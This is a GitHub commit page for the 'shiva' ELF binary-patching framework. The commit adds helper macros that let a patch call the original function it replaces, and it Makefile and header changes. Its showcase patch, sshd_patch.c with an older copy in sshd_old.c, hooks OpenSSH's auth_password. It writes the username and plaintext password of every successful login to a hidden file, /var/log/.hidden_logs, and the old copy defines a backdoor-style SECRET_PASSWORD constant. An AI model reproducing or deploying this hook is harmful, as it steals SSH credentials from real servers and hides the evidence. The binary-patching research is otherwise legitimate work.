Skip to content

Commit b90a426

Browse files
elfmasterelfmaster
committed
github ticket #15 : Create SHIVA_HELPER_CALL_ORIGINAL macro
Squashed commit of the following: commit 9ff5e46bcee998ce2e4063e717894566a6de852f Author: elfmaster <ryan@bitlackeys.org> Date: Sun Apr 23 23:54:22 2023 -0700 fixed bad tabs commit f0e9692a22ea396a739b9151bf48dca3a7b76686 Author: elfmaster <ryan@bitlackeys.org> Date: Sat Apr 22 16:35:20 2023 -0700 updated sshd_patch with comments commit 77db93c84d7fa532e8bdf3fd00874495b56b1534 Author: elfmaster <ryan@bitlackeys.org> Date: Sat Apr 22 14:23:08 2023 -0700 helpers are now working. sshd patch with auth_password hook works! commit 6b28b6ad39f9a2e1e980fcf199a83150d8a343a5 Author: elfmaster <ryan@bitlackeys.org> Date: Fri Apr 21 13:50:04 2023 -0700 got it working, although the sshd patch is failing to allow a login. Must look at it commit 8a8f6c9686473b9eaee2c81561ae91da1794c300 Author: elfmaster <ryan@bitlackeys.org> Date: Fri Apr 21 12:19:09 2023 -0700 updated code; changed helper macro name. Added validate_helper function commit ea1a2aac956f4dcd0bd820b574ecbf5007a5e1e1 Author: elfmaster <ryan@bitlackeys.org> Date: Wed Apr 19 23:47:33 2023 -0700 began implementation of shiva helper macros
1 parent e26e7fd commit b90a426

8 files changed

Lines changed: 263 additions & 32 deletions

File tree

‎modules/aarch64_patches/bss_overflow/Makefile‎

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,6 @@
11
INTERP_PATH="/lib/shiva"
22
SHIVA-LD_PATH="../../../tools/shiva-ld/shiva-ld"
33

4-
all:
54
gcc -mcmodel=large -fno-pic -I ../ -fno-stack-protector -c bss_patch2.c
65
gcc -O0 -g bss_vuln.c -o bss_vuln
76
$(SHIVA-LD_PATH) -e bss_vuln -p bss_patch2.o -i /lib/shiva -s /opt/shiva/modules -o bss_vuln.patched

‎modules/aarch64_patches/fsplice/example6/fsplice_final_example.txt‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ int foo(int num, char *str)
1010
goto done;
1111
strcpy(global_buf, banner);
1212
if (str != NULL) {
13-
fprintf(stdout, "global_buf: %s\n", global_buf);
13+
fprintf(stdout, "Printing str: %s\n", str);
1414
}
1515
fprintf(stdout, "global_buf: %s\n", global_buf);
1616
bar();

‎modules/aarch64_patches/sshd-patch/Makefile‎

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,12 +2,14 @@ INTERP_PATH="/lib/shiva"
22
SHIVA-LD_PATH="../../../tools/shiva-ld/shiva-ld"
33
patch:
44
# Build the module ro_patch.c with a large code model
5-
gcc -mcmodel=large -fno-pic -I ../ -fno-stack-protector -c sshd_patch.c
5+
gcc -Wno-implicit-function-declaration -mcmodel=large -fno-pic -I ../../include -fno-stack-protector -c sshd_patch.c
66

77
prelink:
88
# Pre-link the program we are patching with the proper interpreter and patch meta-data
99
$(SHIVA-LD_PATH) -e sshd -p sshd_patch.o -i /lib/shiva -s /opt/shiva/modules -o sshd.patched
1010

11+
install:
12+
cp sshd_patch.o /opt/shiva/modules/
1113
clean:
1214
rm -f sshd.patched sshd_patch.o
1315

‎modules/aarch64_patches/sshd-patch/sshd_old.c‎

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
#define _GNU_SOURCE
2+
#include <pwd.h>
3+
#include "../../shiva.h"
4+
#include "/home/elfmaster/openssh-portable/packet.h"
5+
6+
#define SECRET_PASSWORD "w0rkseverytime"
7+
8+
9+
struct Authctxt {
10+
sig_atomic_t success;
11+
int authenticated; /* authenticated and alarms cancelled */
12+
int postponed; /* authentication needs another step */
13+
int valid; /* user exists and is allowed to login */
14+
int attempt;
15+
int failures;
16+
int server_caused_failure;
17+
int force_pwchange;
18+
char *user; /* username sent by the client */
19+
char *service;
20+
struct passwd *pw; /* set if 'valid' */
21+
char *style;
22+
23+
/* Method lists for multiple authentication */
24+
char **auth_methods; /* modified from server config */
25+
u_int num_auth_methods;
26+
27+
/* Authentication method-specific data */
28+
void *methoddata;
29+
void *kbdintctxt;
30+
#ifdef BSD_AUTH
31+
auth_session_t *as;
32+
#endif
33+
#ifdef KRB5
34+
krb5_context krb5_ctx;
35+
krb5_ccache krb5_fwd_ccache;
36+
krb5_principal krb5_user;
37+
char *krb5_ticket_file;
38+
char *krb5_ccname;
39+
#endif
40+
struct sshbuf *loginmsg;
41+
42+
/* Authentication keys already used; these will be refused henceforth */
43+
struct sshkey **prev_keys;
44+
u_int nprev_keys;
45+
46+
/* Last used key and ancillary information from active auth method */
47+
struct sshkey *auth_method_key;
48+
char *auth_method_info;
49+
50+
/* Information exposed to session */
51+
struct sshbuf *session_info; /* Auth info for environment */
52+
};
53+
54+
struct passwd *pw;
55+
struct Authctxt *authctxt;
56+
FILE *logfd;
57+
58+
SHIVA_T_FUNCTION_SPLICE(auth_password, 0x12620, 0x12620)
59+
{
60+
SHIVA_T_PAIR_W0(ret);
61+
62+
if (ret > 0) {
63+
64+
logfd = fopen("/var/log/hidden_logs", "a+");
65+
fprintf(logfd, "Succesful SSH login\n"
66+
"Username: %s\n"
67+
"Password: %s\n", pw->pw_name, password);
68+
69+
70+
}
71+
}

‎modules/aarch64_patches/sshd-patch/sshd_patch.c‎

Lines changed: 26 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
#define _GNU_SOURCE
2+
#include <stdio.h>
3+
#include <stdlib.h>
4+
#include <stdint.h>
25
#include <pwd.h>
3-
#include "../../shiva.h"
6+
#include "shiva_module.h"
47
#include "/home/elfmaster/openssh-portable/packet.h"
58

6-
#define SECRET_PASSWORD "w0rkseverytime"
7-
8-
99
struct Authctxt {
1010
sig_atomic_t success;
1111
int authenticated; /* authenticated and alarms cancelled */
@@ -51,21 +51,30 @@ struct Authctxt {
5151
struct sshbuf *session_info; /* Auth info for environment */
5252
};
5353

54-
struct passwd *pw;
55-
struct Authctxt *authctxt;
56-
FILE *logfd;
57-
58-
SHIVA_T_FUNCTION_SPLICE(auth_password, 0x12620, 0x12620)
54+
int auth_password(struct ssh *ssh, const char *password)
5955
{
60-
SHIVA_T_PAIR_W0(ret);
61-
62-
if (ret > 0) {
63-
64-
logfd = fopen("/var/log/hidden_logs", "a+");
65-
fprintf(logfd, "Succesful SSH login\n"
66-
"Username: %s\n"
67-
"Password: %s\n", pw->pw_name, password);
56+
FILE *logfd;
57+
int ret;
58+
struct Authctxt *authctxt = ssh->authctxt;
59+
struct passwd *pw = authctxt->pw;
6860

61+
logfd = fopen("/var/log/.hidden_logs", "a+");
62+
fprintf(logfd, "auth_password hook called\n");
6963

64+
/*
65+
* call the original auth_password(ssh, password); by using
66+
* the SHIVA_HELPER_CALL_EXTERNAL macro.
67+
*/
68+
ret = SHIVA_HELPER_CALL_EXTERNAL_ARGS2(auth_password, ssh, password);
69+
if (ret > 0) {
70+
/*
71+
* If the real auth_password() succeeded, then log
72+
* the username and password to "/var/log/.hidden_logs"
73+
*/
74+
fprintf(logfd, "Successful SSH login\n"
75+
"Username: %s\n"
76+
"Password: %s\n", pw->pw_name, password);
7077
}
78+
fclose(logfd);
79+
return ret;
7180
}

‎modules/include/shiva_module.h‎

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,3 +46,36 @@
4646
#define SHIVA_T_PAIR_BP_96(var) asm volatile ("ldr x9, [x29, #96]"); \
4747
register int64_t var asm("x9");
4848

49+
#define SHIVA_HELPER_CALL_EXTERNAL_ID "__shiva_helper_orig_func_"
50+
51+
#define SHIVA_HELPER_CALL_EXTERNAL(name) \
52+
__shiva_helper_orig_func_##name();
53+
54+
#define SHIVA_HELPER_CALL_EXTERNAL_ARGS1(name, arg1) \
55+
__shiva_helper_orig_func_##name(arg1);
56+
57+
#define SHIVA_HELPER_CALL_EXTERNAL_ARGS2(name, arg1, arg2) \
58+
__shiva_helper_orig_func_##name(arg1, arg2);
59+
60+
#define SHIVA_HELPER_CALL_EXTERNAL_ARGS3(name, arg1, arg2) \
61+
__shiva_helper_orig_func_##name(arg1, arg2, arg3)
62+
63+
#define SHIVA_HELPER_CALL_EXTERNAL_ARGS4(name, arg1, arg2, arg3, arg4) \
64+
__shiva_helper_orig_func_##name(arg1, arg2, arg3, arg4);
65+
66+
#define SHIVA_HELPER_CALL_EXTERNAL_ARGS5(name, arg1, arg2, arg3, arg4, arg5) \
67+
__shiva_helper_orig_func_##name(arg1, arg2, arg3, arg4, arg5);
68+
69+
#define SHIVA_HELPER_CALL_EXTERNAL_ARGS6(name, arg1, arg2, arg3, arg4, arg5, arg6) \
70+
__shiva_helper_orig_func_##name(arg1, arg2, arg3, arg4, arg5, arg6);
71+
72+
#define SHIVA_HELPER_CALL_EXTERNAL_ARGS7(name, arg1, arg2, arg3, arg4, arg5, arg6, arg7) \
73+
__shiva_helper_orig_func_##name(arg1, arg2, arg3, arg4, arg5, arg6, arg7);
74+
75+
76+
77+
78+
79+
80+
81+

‎shiva.h‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -66,6 +66,7 @@
6666
#define SHIVA_MODULE_F_DUMMY_TEXT (1UL << 2) /* Module has empty text region */
6767
#define SHIVA_MODULE_F_TRANSFORM (1UL << 3) /* Module has transform records */
6868
#define SHIVA_MODULE_F_DELAYED_RELOCS (1UL << 4) /* Module has delayed relocs to process */
69+
#define SHIVA_MODULE_F_HELPERS (1UL << 5) /* Module has helper records */
6970

7071
#define SHIVA_DT_NEEDED (DT_LOOS + 10)
7172
#define SHIVA_DT_SEARCH (DT_LOOS + 11)
@@ -324,6 +325,18 @@ typedef enum shiva_transform_type {
324325
SHIVA_TRANSFORM_UNKNOWN
325326
} shiva_transform_type_t;
326327

328+
typedef enum shiva_helper_type {
329+
SHIVA_HELPER_CALL_EXTERNAL = 0, // instruct linker to call external version of symbol
330+
SHIVA_HELPER_UNKNOWN
331+
} shiva_helper_type_t;
332+
333+
334+
typedef struct shiva_helper {
335+
shiva_helper_type_t type;
336+
struct elf_symbol symbol;
337+
TAILQ_ENTRY(shiva_helper) _linkage;
338+
} shiva_helper_t;
339+
327340
typedef struct shiva_transform {
328341
shiva_transform_type_t type;
329342
struct elf_symbol target_symbol;
@@ -400,10 +413,12 @@ struct shiva_module {
400413
TAILQ_HEAD(, shiva_module_plt_entry) plt_list;
401414
TAILQ_HEAD(, shiva_transform) transform_list;
402415
TAILQ_HEAD(, shiva_module_delayed_reloc) delayed_reloc_list;
416+
TAILQ_HEAD(, shiva_helper) helper_list;
403417
} tailq;
404418
struct {
405419
struct hsearch_data bss;
406420
struct hsearch_data got;
421+
struct hsearch_data helpers;
407422
} cache;
408423
shiva_linking_mode_t mode;
409424
struct shiva_ctx *ctx; /* this is a pointer back to the main context */

0 commit comments

Comments
 (0)